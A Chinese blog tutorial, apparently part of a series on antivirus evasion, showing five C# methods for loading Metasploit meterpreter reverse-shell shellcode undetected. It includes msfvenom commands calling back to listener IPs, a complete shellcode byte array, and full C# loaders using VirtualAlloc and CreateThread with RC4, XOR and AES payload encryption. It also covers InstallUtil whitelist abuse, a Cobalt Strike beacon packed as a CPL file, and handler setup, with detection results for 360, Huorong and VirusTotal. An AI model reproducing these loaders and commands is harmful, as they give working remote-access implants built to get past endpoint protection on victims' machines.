遠控免殺專題(29)-C#加載shellcode免殺-5種方式(VT免殺率8-70)

0x00 免殺能力一覽表

在這里插入圖片描述
幾點說明:

1、表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為殺軟查殺能力或免殺能力的判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

6、由于白名單程序加載payload的免殺測試需要殺軟的行為檢測才合理,靜態查殺payload或者查殺白名單程序都沒有任何意義,所以這里對白名單程序的免殺效果不做評判。

0x01 C#加載shellcode免殺介紹

使用C#加載shellcode也是比較常見的一種免殺方式,比如之前文章里的zirikatu、veil、AVIator、SpookFlare等工具都可以對C#代碼進行免殺處理,而SharpShooter和CACTUSTORCH還可以使用vbs或js執行C#的二進制payload。

這里我們介紹一下基于C#的常見手工免殺方法,C#加載shellcode也和C/C++加載類似,可以分兩種方式。

1、C#源碼+shellcode直接編譯,且shellcode可進行一些加密混淆處理;

2、使用加載器加載C#代碼,這個就是網上常見的白名單程序加載了,比如可以利用csc.exe。

0x02 C#源碼直接編譯exe

2.1 方法1:C#+shellcode直接編譯(VT免殺率20/71)

先用msfvenom生成基于C#的shellcode,使用了shikata_ga_nai編碼

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.134  LPORT=3333 -f csharp -o payload.txt

在這里插入圖片描述
payload.txt內容

byte[] buf = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,
0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x8e,0x86,
0x68,0x02,0x00,0x0d,0x05,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };

在vs2017中新建C#加密項目

然后將payload.txt文件中的shellcode代碼復制到下面C#代碼中


using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{class Program{static void Main(string[] args){// native function’s compiled code// generated with metasploitbyte[] shellcode = new byte[] { msfvenom生成的 shellcode};UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]private static extern UInt32 GetLastError();
}
}

在msf設置監聽

use multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 3334
msf5 exploit(multi/handler) > set lport 10.211.55.2
msf5 exploit(multi/handler) > exploit

編譯運行,火絨動態和靜態都可以檢測出來,360可以免殺
在這里插入圖片描述
在這里插入圖片描述

關閉火絨,可正常上線

2.2 方法2:C#+加密處理shellcode免殺(VT免殺率8/70)

先用msf生成基于c#的shellcode


msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2  LPORT=3333 -f csharp -o payload.txt

在vs2017中新建C#加密項目

把上面payload.txt中的c#代碼放入下面的加密代碼中


using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;namespace Payload_Encrypt_Maker
{ class Program{  // 加密密鑰,可以更改,加解密源碼中保持KEY一致就行static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };static byte[] payload ={0x6b,0xa9};    // 替換成MSF生成的shellcodeprivate static class Encryption_Class{public static string Encrypt(string key, string data){Encoding unicode = Encoding.Unicode;return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));}public static byte[] Encrypt(byte[] key, byte[] data){return EncryptOutput(key, data).ToArray();}private static byte[] EncryptInitalize(byte[] key){byte[] s = Enumerable.Range(0, 256).Select(i => (byte)i).ToArray();for (int i = 0, j = 0; i < 256; i++){j = (j + key[i % key.Length] + s[i]) & 255;Swap(s, i, j);}return s;}private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data){byte[] s = EncryptInitalize(key);int i = 0;int j = 0;return data.Select((b) =>{i = (i + 1) & 255;j = (j + s[i]) & 255;Swap(s, i, j);return (byte)(b ^ s[(s[i] + s[j]) & 255]);});}private static void Swap(byte[] s, int i, int j){byte c = s[i];s[i] = s[j];s[j] = c;}}static void Main(string[] args){byte[] result = Encryption_Class.Encrypt(KEY, payload);int b = 0;for (int i = 0; i < result.Length; i++){   b++;if (i == result.Length+1){Console.Write(result[i].ToString());}if (i != result.Length) { Console.Write(result[i].ToString() + ","); }}}}
}

編譯生成一段加密后的shellcode

在vs2017中再新建C#解密項目

解密及執行代碼

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;namespace NativePayload_Reverse_tcp
{public class Program{public static void Main(){Shellcode.Exec();}}class Shellcode{public static void Exec(){string Payload_Encrypted;Payload_Encrypted = "0,244,36,163,code_herer";string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++){byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());_X_to_Bytes[i] = current;}// 解密密鑰,可以更改,加解密源碼中保持KEY一致就行byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);// 加載shellcodeIntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);Thread.Sleep(2000);}public static byte[] Decrypt(byte[] key, byte[] data){return EncryptOutput(key, data).ToArray();}private static byte[] EncryptInitalize(byte[] key){byte[] s = Enumerable.Range(0, 256).Select(i => (byte)i).ToArray();for (int i = 0, j = 0; i < 256; i++){j = (j + key[i % key.Length] + s[i]) & 255;Swap(s, i, j);}return s;}private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data){byte[] s = EncryptInitalize(key);int i = 0;int j = 0;return data.Select((b) =>{i = (i + 1) & 255;j = (j + s[i]) & 255;Swap(s, i, j);return (byte)(b ^ s[(s[i] + s[j]) & 255]);});}private static void Swap(byte[] s, int i, int j){byte c = s[i];s[i] = s[j];s[j] = c;}[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);}
}

編譯或執行時如果報錯,可以查看下面的兩個項目屬性是否設置有問題
在這里插入圖片描述
執行生成的ConsoleApp2.exe,可過360和火絨
在這里插入圖片描述

2.3 方法3:XOR/AES編碼shellcode(VT免殺率14/71)

需要使用一個工具https://github.com/Arno0x/ShellcodeWrapper

先用msfvenom生成一個raw格式的shellcode


msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw > shellcode.raw

在ShellcodeWrapper文件夾中執行下面命令,其中tidesec為自己設置的key。

python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor

在這里插入圖片描述
生成了三個文件,其中C#為我們需要的文件。

其中encryptedShellcodeWrapper_xor.cpp文件中的C#源碼如下


/*
Author: Arno0x0x, Twitter: @Arno0x0xHow to compile:
===============
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:encryptedShellcodeWrapper_xor.exe encryptedShellcodeWrapper_xor.cs*/using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;namespace RunShellCode
{static class Program{//==============================================================================// CRYPTO FUNCTIONS//==============================================================================private static T[] SubArray<T>(this T[] data, int index, int length){T[] result = new T[length];Array.Copy(data, index, result, 0, length);return result;}private static byte[] xor(byte[] cipher, byte[] key) {byte[] decrypted = new byte[cipher.Length];for(int i = 0; i < cipher.Length; i++) {decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);}return decrypted;}//--------------------------------------------------------------------------------------------------// Decrypts the given a plaintext message byte array with a given 128 bits key// Returns the unencrypted message//--------------------------------------------------------------------------------------------------private static byte[] aesDecrypt(byte[] cipher, byte[] key){var IV = cipher.SubArray(0, 16);var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);// Create an AesManaged object with the specified key and IV.using (AesManaged aes = new AesManaged()){aes.Padding = PaddingMode.PKCS7;aes.KeySize = 128;aes.Key = key;aes.IV = IV;using (MemoryStream ms = new MemoryStream()){using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)){cs.Write(encryptedMessage, 0, encryptedMessage.Length);}return ms.ToArray();}}}//==============================================================================// MAIN FUNCTION//==============================================================================static void Main(){byte[] encryptedShellcode = new byte[] { shellcode };string key = "tidesec";string cipherType = "xor";byte[] shellcode = null;//--------------------------------------------------------------// Decrypt the shellcodeif (cipherType == "xor") {shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));}else if (cipherType == "aes") {shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));}//--------------------------------------------------------------        	// Copy decrypted shellcode to memoryUInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;// Prepare dataIntPtr pinfo = IntPtr.Zero;// Invoke the shellcodehThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);return;}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,UInt32 flAllocationType,UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);}
}

在vs2017中新建C#項目,編譯運行,火絨和360均可繞過。

在這里插入圖片描述
msf中正常上線
在這里插入圖片描述

0x03 加載器加載C#代碼

加載器用的比較多的是CSC.exe+InstallUtil.exe加載shellcode,流程為:msf生成C#格式shellcode -> 加密shellcode -> 解密并加載shellcode -> csc.exe編譯成.jpg文件 -> InstallUtil.exe白名單執行。之前backlion師傅和亮神都介紹過這種方法。

3.1 法4:使用CSC+InstallUtil執行shellcode(VT免殺率33/71)

先通過msfvenom生成C#的shellcode


msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f csharp

在這里插入圖片描述
下載InstallUtil-Shellcode.cs

wget https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/InstallUtil-Shellcode.cs

將上面生成的shellcode復制到InstallUtil-Shellcode.cs文件中。

使用csc編譯InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs

編譯生成的shell.exe直接執行是不行的,需要使用InstallUtil.exe來觸發。

使用InstallUtil.exe執行shell.exe,360安全衛士會檢測到InstallUtil.exe執行預警,360殺毒和火絨動態和靜態均無預警。


C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe

在這里插入圖片描述
msf中可上線
在這里插入圖片描述

3.2 法5:從資源里加載shelllcode

這里只介紹另外一種從資源里加載shelllcode的方法,不過很遺憾的是這個我沒有復現成功。

參考自三好學生大佬的文章:https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html

需要用到這個工具https://github.com/rvrsh3ll/CPLResourceRunner

先用Cobalt Strike 生成shellcode

Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

在這里插入圖片描述
然后用ConvertShellcode.py將生成的beacon.bin轉換成shellcode.txt


python ConvertShellcode.py beacon.bin

然后再轉換成base64編碼。


cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

在這里插入圖片描述
把生成的base64編碼的shellcode復制到項目資源CPLResourceRunner/Resources.txt里。
編譯生成dll,并將生成的CPLResourceRunner.dll重命名為.cpl文件,之后執行即可。
在這里插入圖片描述
不過經過測試,無法上線,沒找出來具體原因。

后來用msf生成raw格式的shellcode,也用CPLResourceRunner進行處理,不過還是沒法上線。

后來又測試了一下使用msf直接生成cpl文件,倒可以執行上線,使用rundll32.exe來執行。

msfvenom -p  windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333  -f dll  > shellcode.cpl

在這里插入圖片描述

四、參考資料

shellcode加載總結:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

記一則免殺技巧:https://www.jianshu.com/p/965211afc5f9

那些shellcode免殺總結:https://xz.aliyun.com/t/7170

免殺技巧:https://blog.moofeng.cn/2019/04/18/%E8%AE%B0%E4%B8%80%E5%88%99%E5%85%8D%E6%9D%80%E6%8A%80%E5%B7%A7/index.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/379984.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/379984.shtml
英文地址,請注明出處:http://en.pswp.cn/news/379984.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

kotlin 或 運算_Kotlin程序對兩個數字執行算術運算

kotlin 或 運算Here, we are implementing a Kotlin program to perform various arithmetic operations on two numbers. 在這里&#xff0c;我們正在實現Kotlin程序&#xff0c;以對兩個數字執行各種算術運算 。 Given two numbers a and b, we have to find addition, sub…

2012.1.15---學習筆記

最近學習實踐的內容主要有&#xff1a;1 memcahche的安裝、使用&#xff08;為了減少數據庫壓力而采用的&#xff09;2 linux下的定時任務的配置&#xff0c;crontab3 如何去編寫可配置的php程序&#xff08;加載配置文件&#xff09;1 memcahche的安裝、使用&#xff08;為了減…

WPF界面設計技巧(2)—自定義漂亮的按鈕樣式

上次做了個很酷的不規則窗體&#xff0c;這次我們來弄點好看的按鈕出來&#xff0c;此次將采用純代碼來設計按鈕樣式&#xff0c;不需要 Microsoft Expression Design 輔助了。 首先打開 Microsoft Visual Studio 2008 &#xff0c;新建一個WPF項目&#xff0c;在上面隨便放幾個…

ropgadgets與ret2syscall技術原理

程序&#xff1a; #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int…

uboot load address、entry point、 bootm address以及kernel運行地址的意義及聯系

按各地址起作用的順序&#xff0c;uboot引導linux內核啟動涉及到以下地址&#xff1a; load address&#xff1a;entry point&#xff1a; 這兩個地址是mkimage時指定的bootm address&#xff1a;bootm為uboot的一個命令&#xff0c;以此從address啟動kernelkernel運行地址&…

Java——集合(Map集合的兩種迭代)

一&#xff0c;Map集合的第一種迭代 Map集合的第一種迭代&#xff0c;通過get(key)方法&#xff0c;根據鍵去獲取值 package com.wsq.map;import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set;public class Demo2_Iterator { …

如何使用兩個堆棧實現隊列_使用兩個隊列實現堆棧

如何使用兩個堆棧實現隊列Stack and Queue at a glance... 堆疊和排隊一目了然... Stack: 堆棧&#xff1a; The stack is an ordered list where insertion and deletion are done from the same end, top. The last element that entered first is the first one to be del…

接口pk抽象類

作為開發者&#xff0c;誰從來沒有陷入過周而復始地爭論應該是使用接口還是抽象類&#xff1f;這是一場永無休止的爭論&#xff0c;不同陣營的人總是堅定地堅持自己的立場。應當使用接口還是抽象類&#xff1f;對于初學者來說那更是滿頭霧水。這個問題應該考慮一下幾個因素&…

匯編shr命令

右移命令 比如&#xff1a; mov eax,10 shr eax,0x2上面的命令是將eax的值右移兩位&#xff0c;怎么左移呢&#xff1f;首先將eax的值轉為二進制10------》1010&#xff0c;然后右移兩位變成10&#xff0c;所以執行為shr命令&#xff0c;eax的值為十進制的2

iBatis入門和開發環境搭建

iBatis 的優缺點&#xff1a; 優點&#xff1a; 1、 減少代碼量&#xff0c;簡單&#xff1b; 2、 性能增強&#xff1b; 3、 Sql 語句與程序代碼分離&#xff1b; 4、 增強了移植性&#xff1b; 缺點&#xff1a; 1、 和Hibernate 相比&#xff0c;sql 需要自己寫&#x…

Python | 程序以字符串長度打印單詞

Given a string and we have to split the string into words and also print the length of the each word in Python. 給定一個字符串&#xff0c;我們必須將字符串拆分為單詞&#xff0c;并在Python中打印每個單詞的長度。 Example: 例&#xff1a; Input:str "Hell…

Java——遞歸練習

#練習一&#xff1a;從鍵盤接收一個文件夾路徑&#xff0c;統計該文件夾大小 ###分析&#xff1a; ####每句話相當與每一個要求&#xff0c;每一個要求用一個方法去實現 第一個方法 * getDir()* 第一個要求&#xff1a;從鍵盤接收一個文件夾路徑* 1&#xff0c;創建鍵盤錄入對…

C# 里怎樣得到當前執行的函數名,當前代碼行,源代碼文件名。

得到函數名&#xff1a; System.Diagnostics.StackTrace st new System.Diagnostics.StackTrace(); this.Text st.GetFrame(0).ToString(); 得到代碼行&#xff0c;源代碼文件名&#xff1a; StackTrace st new StackTrace(new StackFrame(true)); Console…

PHP中單引號和雙引號的區別

0x01 單引號 單引號里面的內容不會被解釋&#xff0c;不管什么內容&#xff0c;都當做字符串處理 <?php$abc1234; $stradc$abc; echo $str;輸出 0x02 雙引號 雙引號里面的內容會被解釋&#xff0c;像一些換行&#xff08;\n)、數據元素等都會被解釋 <?php$abc1234;…

Eclipse 代碼提示無效的解決方法

代碼提示一般有兩種形勢1、點提示無效經常打一個點就能調出該對象可選的方法列表。哪天不靈了&#xff0c;可以這樣解決&#xff1a;window->Preferences->Java->Editor->Content Assist->Advanced 上面的選項卡Select the proposal kinds contained in the de…

getdate 日期間隔_日期getDate()方法以及JavaScript中的示例

getdate 日期間隔JavaScript Date getDate()方法 (JavaScript Date getDate() method) getDate() method is a Dates class method and it is used to get the current day of the month. getDate()方法是Date的類方法&#xff0c;用于獲取當月的當前日期。 It accepts nothin…

關閉頁面時執行“退出”的解決方案

在有些應用中我們需要實時的更新站點用戶是否在線的狀態。比如一些論壇里的在線成員實時顯示&#xff0c;或基于網頁的聊天、會議系統等。這種情況下&#xff0c;如果用戶點擊“退出”按鈕或鏈接&#xff0c;我們將之行一系列后臺操作&#xff0c;將該用戶標識成off line狀態&a…

Java——多線程實現的三種方式

創建新執行線程有三種方法。 第一種方法是將類聲明為 Thread 的子類。該子類應重寫 Thread 類的 run 方法。接下來可以分配并啟動該子類的實例。 例如&#xff0c;計算大于某一規定值的質數的線程可以寫成&#xff1a; class PrimeThread extends Thread {long minPrime;Pri…

python網絡編程---TCP客戶端

0x01 環境 python2、 pycharm 0x02 程序 # -*- coding:UTF-8 -*- import sockettarget_hostwww.baidu.com tarfet_port80target_hostlocalhost target_port3345 dataABCDEF# 創建一個socket對象 client socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 連接客戶端 clien…

c#枚舉數字轉枚舉_C#枚舉能力問題和解答 套裝4

c#枚舉數字轉枚舉1) What is the correct output of given code snippets in C#.NET? using System;class program{enum emp_salary : int{emp1 10000,emp2 15000,emp4 20000}static void Main(string[] args){int sal (int)emp_salary.emp2;Console.WriteLine(sal);}}100…